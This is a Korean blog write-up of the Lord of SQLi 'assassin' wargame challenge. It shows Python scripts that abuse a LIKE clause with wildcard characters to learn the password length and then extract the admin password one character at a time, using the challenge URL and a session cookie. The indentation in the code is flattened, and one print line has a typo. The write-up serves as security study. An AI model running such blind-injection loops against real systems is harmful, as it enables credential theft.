assassin 입장!
이번 문제는 pw 하나만 입력받고 있다. 그리고 필터링도 싱글쿼터 하나다.
싱글쿼터가 필터링되고 있기 때문에 앞의 query를 '로 막고 새로운 query를 작성하는 방법은 사용할 수 없다.
즉 주어진 like문을 활용해서 해결해야 한다.
admin의 password를 알아내야 admin id를 select할 수 있는데 like를 적절히 활용하면 모든 password를 알아낼 필요는 없다.
ex)
like '김%' → 김으로 시작하는 문자열
like '%김%' → 중간에 김이 있는 문자열
like '%김' → 김으로 끝나는 문자열
위 특성을 이용해 password의 앞머리 문자만 알아내면 admin id를 select할 수 있다.
- password length
import requests
url="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies={'PHPSESSID':'7jcth1upjbeo14mfbren6hv4lk'}
i=1
while True:
data="_"*i
query="?pw="+data
result=requests.get(url+query, cookies=cookies)
if("Hello guest" in result.text):
print("password length:",i)
break
print(i)
i+=1;
실행 결과
다음은 password의 앞문자를 알아내기 위한 소스코드다.
import requests
url="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies={'PHPSESSID':'7jcth1upjbeo14mfbren6hv4lk'}
for ch in range(48, 123):
if 58 <=ch <= 96 :continue
query="?pw="+chr(ch)+"%"
result=requests.get(url+query, cookies=cookies)
if("Hello admin" in result.text):
print("admin password:".ch)
break
print(ch)
하지만 실행한 결과 원하는 결과를 얻지 못했다.
왜 이런 결과가 나오는지 이해하지 못해 찾아봤더니 guest와 admin의 password 앞부분이 일치하는 것 같았다.
거기다 DB상에서 guest가 admin보다 위쪽에 위치해 있어서 같은 검색 결과를 가진 경우 guest가 먼저 뜨는 것이었다.
위 내용을 참고하여 소스코드를 다시 작성했다.
import requests
url="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies={'PHPSESSID':'7jcth1upjbeo14mfbren6hv4lk'}
pw=""
for i in range(1,9):
for ch in range(48, 123):
if 58 <=ch <= 96 :continue
query="?pw="+pw+chr(ch)+"%"
result=requests.get(url+query, cookies=cookies)
if("Hello guest" in result.text):
pw+=chr(ch)
print(pw)
break
elif("Hello admin" in result.text):
pw+=chr(ch)
print("pw%",pw)
break
실행 결과
Hello guest와 Hello admin의 경우로 나누어 코드를 새로 작성했다.
(코드를 작성하다보니 admin의 전체 password를 얻을 수 있게 됐다😀)
admin password: 902efd10
password를 넘겨주면
assassin 해결!
'Study > Web Hacking' 카테고리의 다른 글
[natas] Level 24 -> Level 25 (0) | 2021.08.09 |
---|---|
[LOS] succubus (0) | 2021.08.09 |
[natas] Level 23 -> Level 24 (0) | 2021.08.02 |
[LOS] giant (0) | 2021.07.26 |
[natas] Level 22 -> Level 23 (0) | 2021.07.26 |